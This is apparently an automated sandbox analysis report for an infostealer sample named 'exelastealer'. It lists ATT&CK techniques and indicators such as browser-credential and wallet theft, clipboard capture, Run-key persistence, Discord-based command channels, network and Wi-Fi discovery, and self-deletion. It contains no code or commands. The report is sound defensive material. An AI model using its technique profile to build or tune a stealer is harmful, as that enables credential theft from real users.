exelastealer | 9950fe26fd79af14ff46ae88e5c034545a55876b36fbb0756086da1f77db95ce

System Information Discovery

Processes:

cmd.execmd.execmd.exepython-3.11.0-amd64.execmd.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Control Panel\International\Geo\Nation	python-3.11.0-amd64.exe
Key value queried	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Control Panel\International\Geo\Nation	cmd.exe

Clipboard Data 1 TTPs 6 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

Processes:

cmd.exepowershell.execmd.exepowershell.execmd.exepowershell.exe

pid	Process
5900	cmd.exe
6980	powershell.exe
7788	cmd.exe
7272	powershell.exe
3972	cmd.exe
5244	powershell.exe

Deletes itself 1 IoCs

Processes:

python.exe

pid	Process
7916	python.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 64 IoCs

Processes:

python-3.11.0-amd64.exepython-3.11.0-amd64.exepython-3.11.0-amd64.exepython.exepython.exepip.exepython.exepy.exepython.exepython.exepip.exepython.exepy.exepython.exepython.exepip.exepython.exepy.exepython.exepython.exepy.exepython.exepython.exepip.exepython.exepip.exepython.exepip.exepython.exepy.exepython.exepy.exepython.exepip.exepython.exepip.exepython.exepy.exepython.exepip.exepython.exepy.exepython.exepython.exepy.exepython.exepy.exepython.exepip.exepython.exepip.exepython.exepython.exepython.exepy.exepython.exepy.exepython.exepy.exepython.exepy.exepython.exepip.exepython.exe

pid	Process
412	python-3.11.0-amd64.exe
2360	python-3.11.0-amd64.exe
5972	python-3.11.0-amd64.exe
1900	python.exe
4480	python.exe
2484	pip.exe
2368	python.exe
6616	py.exe
7188	python.exe
7220	python.exe
2540	pip.exe
7952	python.exe
7608	py.exe
7828	python.exe
7528	python.exe
4956	pip.exe
8060	python.exe
7852	py.exe
2156	python.exe
7916	python.exe
4288	py.exe
7284	python.exe
7476	python.exe
3036	pip.exe
6120	python.exe
3036	pip.exe
1792	python.exe
6176	pip.exe
1056	python.exe
5100	py.exe
7176	python.exe
7416	py.exe
2700	python.exe
6184	pip.exe
7372	python.exe
2076	pip.exe
2044	python.exe
8036	py.exe
2084	python.exe
1096	pip.exe
6380	python.exe
4428	py.exe
1280	python.exe
2444	python.exe
6940	py.exe
5216	python.exe
6508	py.exe
6860	python.exe
4276	pip.exe
5332	python.exe
7444	pip.exe
6200	python.exe
7200	python.exe
1980	python.exe
996	py.exe
7988	python.exe
568	py.exe
4036	python.exe
4976	py.exe
2612	python.exe
2228	py.exe
2972	python.exe
3204	pip.exe
7340	python.exe

Loads dropped DLL 64 IoCs

Processes:

python-3.11.0-amd64.exeMsiExec.exepython.exepython.exepython.exepython.exe

pid	Process
2360	python-3.11.0-amd64.exe
3616	MsiExec.exe
1900	python.exe
1900	python.exe
1900	python.exe
1900	python.exe
1900	python.exe
1900	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
4480	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
2368	python.exe
7188	python.exe
7188	python.exe
7188	python.exe
7188	python.exe
7188	python.exe
7188	python.exe
7188	python.exe
7188	python.exe
7188	python.exe
7188	python.exe
7188	python.exe
7188	python.exe
7188	python.exe
7188	python.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

python-3.11.0-amd64.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\{7f8381ad-2e42-4432-8de5-c7beebe1009f} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{7f8381ad-2e42-4432-8de5-c7beebe1009f}\\python-3.11.0-amd64.exe\" /burn.runonce"	python-3.11.0-amd64.exe

Blocklisted process makes network request 1 IoCs

Processes:

msiexec.exe

flow	pid	Process
276	3928	msiexec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

msiexec.exe

description	ioc	Process
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 21 IoCs

Web Service

T1102

Processes:

flow	ioc
239	camo.githubusercontent.com
241	camo.githubusercontent.com
245	camo.githubusercontent.com
246	camo.githubusercontent.com
247	camo.githubusercontent.com
1233	discord.com
2817	discord.com
240	camo.githubusercontent.com
242	camo.githubusercontent.com
244	camo.githubusercontent.com
1235	discord.com
1264	discord.com
2824	discord.com
243	camo.githubusercontent.com
1236	discord.com
1245	discord.com
1262	discord.com
1263	discord.com
1270	discord.com
2816	discord.com
2818	discord.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
1230	ip-api.com
1260	ip-api.com
2814	ip-api.com

Network Service Discovery 1 TTPs 6 IoCs

Attempt to gather information on host's network.

Network Service Discovery

T1046

Processes:

ARP.EXEcmd.exeARP.EXEcmd.exeARP.EXEcmd.exe

pid	Process
4956	ARP.EXE
3796	cmd.exe
1404	ARP.EXE
4844	cmd.exe
4924	ARP.EXE
6936	cmd.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 12 IoCs

persistence privilege_escalation

Process Discovery

T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exe

pid	Process
2536	tasklist.exe
640	tasklist.exe
3356	tasklist.exe
6788	tasklist.exe
6924	tasklist.exe
2200	tasklist.exe
6636	tasklist.exe
7976	tasklist.exe
2884	tasklist.exe
2796	tasklist.exe
5320	tasklist.exe
7072	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

Processes:

cmd.exe

pid	Process
2484	cmd.exe

Drops file in Windows directory 64 IoCs

Processes:

msiexec.exeTiWorker.exeTiWorker.exeTiWorker.exe

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIE501.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{74A2D2BF-BD4F-4D82-812F-EDEB21EA443F}	msiexec.exe
File created	C:\Windows\Installer\SourceHash{D4A2E83A-3BD5-4E0D-9577-7F8CA74B876B}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9873.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e5949c5.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE0C9.tmp	msiexec.exe
File created	C:\Windows\Installer\{0E6EEAC9-4913-4C2F-B7D2-761B27C35D7C}\ARPIcon	msiexec.exe
File created	C:\Windows\Installer\e5949d3.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5949a7.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5949b6.msi	msiexec.exe
File created	C:\Windows\Installer\e5949c0.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA8FE.tmp	msiexec.exe
File created	C:\Windows\Installer\e5949ce.msi	msiexec.exe
File created	C:\Windows\Installer\e5949d4.msi	msiexec.exe
File created	C:\Windows\Installer\e5949a7.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{CB7E1801-9FB8-4763-A369-1D7F290AB24D}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI76E0.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE483.tmp	msiexec.exe
File created	C:\Windows\Installer\e5949d8.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5949a2.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{1ED03561-12AC-4A6A-AA85-583281BF0121}	msiexec.exe
File created	C:\Windows\Installer\SourceHash{B28E4BED-428C-40CB-9A29-41E46263246D}	msiexec.exe
File opened for modification	C:\Windows\Installer\e5949b1.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{6FBFD1F4-0412-4DBB-AA00-F71278CAB664}	msiexec.exe
File opened for modification	C:\Windows\Installer\e5949ca.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4EB4.tmp	msiexec.exe
File created	C:\Windows\Installer\e5949b5.msi	msiexec.exe
File created	C:\Windows\Installer\e5949ba.msi	msiexec.exe
File created	C:\Windows\py.exe	msiexec.exe
File created	C:\Windows\Installer\e5949cf.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{0D8459AB-4636-4CD5-A41B-569D7CE159B8}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5183.tmp	msiexec.exe
File created	C:\Windows\Installer\e5949b1.msi	msiexec.exe
File created	C:\Windows\pyw.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\e5949ab.msi	msiexec.exe
File created	C:\Windows\Installer\e5949ac.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5C52.tmp	msiexec.exe
File created	C:\Windows\pyshellext.amd64.dll	msiexec.exe
File created	C:\Windows\Installer\SourceHash{ACF8763C-83E8-4BE1-B67C-DF86C2E1240A}	msiexec.exe
File created	C:\Windows\Installer\SourceHash{BD29D023-6B95-47FE-B480-598840EB9A28}	msiexec.exe
File created	C:\Windows\Installer\e5949c9.msi	msiexec.exe
File created	C:\Windows\Installer\e5949ca.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5949cf.msi	msiexec.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe
File created	C:\Windows\Installer\e5949a2.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{D3773C88-43C6-46CD-AE5F-627FF6C6E5D4}	msiexec.exe
File created	C:\Windows\Installer\e5949bf.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5949d4.msi	msiexec.exe
File created	C:\Windows\Installer\e5949b6.msi	msiexec.exe
File created	C:\Windows\Installer\e5949bb.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5949c0.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{0E6EEAC9-4913-4C2F-B7D2-761B27C35D7C}	msiexec.exe
File opened for modification	C:\Windows\Installer\{0E6EEAC9-4913-4C2F-B7D2-761B27C35D7C}\ARPIcon	msiexec.exe
File opened for modification	C:\Windows\CbsTemp	TiWorker.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\e5949c4.msi	msiexec.exe
File opened for modification	C:\Windows\CbsTemp	TiWorker.exe
File opened for modification	C:\Windows\Installer\e5949ac.msi	msiexec.exe
File created	C:\Windows\Installer\e5949c5.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB311.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI55C.tmp	msiexec.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exe

pid	Process
6128	sc.exe
4672	sc.exe
6172	sc.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

Processes:

firefox.exe

description	ioc	Process
File created	C:\Users\Admin\Downloads\python-3.11.0-amd64.exe:Zone.Identifier	firefox.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

Processes:

resource	yara_rule
behavioral1/files/0x0007000000047453-20665.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 27 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 23 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

Processes:

py.exepy.exepy.exepy.exepython-3.11.0-amd64.exepython-3.11.0-amd64.exeMsiExec.exepy.exepy.exepy.exepy.exepy.exepy.exepy.exepy.exepy.exepy.exepy.exepy.exepy.exepython-3.11.0-amd64.exepy.exepy.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.11.0-amd64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.11.0-amd64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.11.0-amd64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 6 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

Wi-Fi Discovery

T1016.002

Processes:

cmd.exenetsh.execmd.exenetsh.execmd.exenetsh.exe

pid	Process
5888	cmd.exe
7540	netsh.exe
5068	cmd.exe
7760	netsh.exe
6356	cmd.exe
7956	netsh.exe

System Network Connections Discovery 1 TTPs 3 IoCs

Attempt to get a listing of network connections.

System Network Connections Discovery

T1049

Processes:

NETSTAT.EXENETSTAT.EXENETSTAT.EXE

pid	Process
6980	NETSTAT.EXE
1724	NETSTAT.EXE
1048	NETSTAT.EXE

Checks processor information in registry 2 TTPs 20 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

firefox.exefirefox.exefirefox.exefirefox.exefirefox.exefirefox.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe

Collects information from the system 1 TTPs 3 IoCs

Uses WMIC.exe to find detailed system information.

Data from Local System

T1005

Processes:

WMIC.exeWMIC.exeWMIC.exe

pid	Process
6372	WMIC.exe
968	WMIC.exe
7480	WMIC.exe

Gathers network information 2 TTPs 6 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

Processes:

NETSTAT.EXEipconfig.exeNETSTAT.EXEipconfig.exeNETSTAT.EXEipconfig.exe

pid	Process
1724	NETSTAT.EXE
1260	ipconfig.exe
1048	NETSTAT.EXE
7924	ipconfig.exe
6980	NETSTAT.EXE
2948	ipconfig.exe

Gathers system information 1 TTPs 3 IoCs

Runs systeminfo.exe.

System Information Discovery

Processes:

systeminfo.exesysteminfo.exesysteminfo.exe

pid	Process
2916	systeminfo.exe
7612	systeminfo.exe
5520	systeminfo.exe

Kills process with taskkill 46 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	Process
4784	taskkill.exe
7080	taskkill.exe
5204	taskkill.exe
8152	taskkill.exe
2920	taskkill.exe
5420	taskkill.exe
6108	taskkill.exe
7424	taskkill.exe
552	taskkill.exe
7036	taskkill.exe
6256	taskkill.exe
5584	taskkill.exe
5668	taskkill.exe
5068	taskkill.exe
4076	taskkill.exe
6624	taskkill.exe
7952	taskkill.exe
2200	taskkill.exe
1020	taskkill.exe
5852	taskkill.exe
7808	taskkill.exe
7228	taskkill.exe
7256	taskkill.exe
7388	taskkill.exe
7492	taskkill.exe
8168	taskkill.exe
7592	taskkill.exe
6392	taskkill.exe
2024	taskkill.exe
3628	taskkill.exe
2528	taskkill.exe
2364	taskkill.exe
5540	taskkill.exe
2200	taskkill.exe
7684	taskkill.exe
7892	taskkill.exe
6964	taskkill.exe
2780	taskkill.exe
5620	taskkill.exe
6612	taskkill.exe
6364	taskkill.exe
4456	taskkill.exe
7856	taskkill.exe
784	taskkill.exe
2736	taskkill.exe
8108	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

msiexec.exe

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\25\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe

Modifies registry class 64 IoCs

Processes:

msiexec.exepython-3.11.0-amd64.execmd.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.File\shellex\DropHandler\ = "{BEA218D2-6950-497B-9434-61683EC065FE}"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.ArchiveFile\shell\open\command	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\CPython-3.11	python-3.11.0-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Python.NoConFile\Shell\editwithidle\Subcommands	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\{CB7E1801-9FB8-4763-A369-1D7F290AB24D}\Dependents\{7f8381ad-2e42-4432-8de5-c7beebe1009f}	python-3.11.0-amd64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.File\shellex\DropHandler	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9CAEE6E03194F2C47B2D67B1723CD5C7\SourceList	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\CPython-3.11\Dependents	python-3.11.0-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\{74A2D2BF-BD4F-4D82-812F-EDEB21EA443F}	python-3.11.0-amd64.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Python.NoConArchiveFile	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.CompiledFile\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.Extension\ = "Python Extension Module"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\{6FBFD1F4-0412-4DBB-AA00-F71278CAB664}\DisplayName = "Python 3.11.0 Tcl/Tk Support (64-bit)"	python-3.11.0-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\CPython-3.11\DisplayName = "Python 3.11.0 (64-bit)"	python-3.11.0-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\{B28E4BED-428C-40CB-9A29-41E46263246D}\Version = "3.11.150.0"	python-3.11.0-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\{CB7E1801-9FB8-4763-A369-1D7F290AB24D}\DisplayName = "Python 3.11.0 Standard Library (64-bit)"	python-3.11.0-amd64.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9CAEE6E03194F2C47B2D67B1723CD5C7\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.CompiledFile\shellex\DropHandler\ = "{BEA218D2-6950-497B-9434-61683EC065FE}"	msiexec.exe
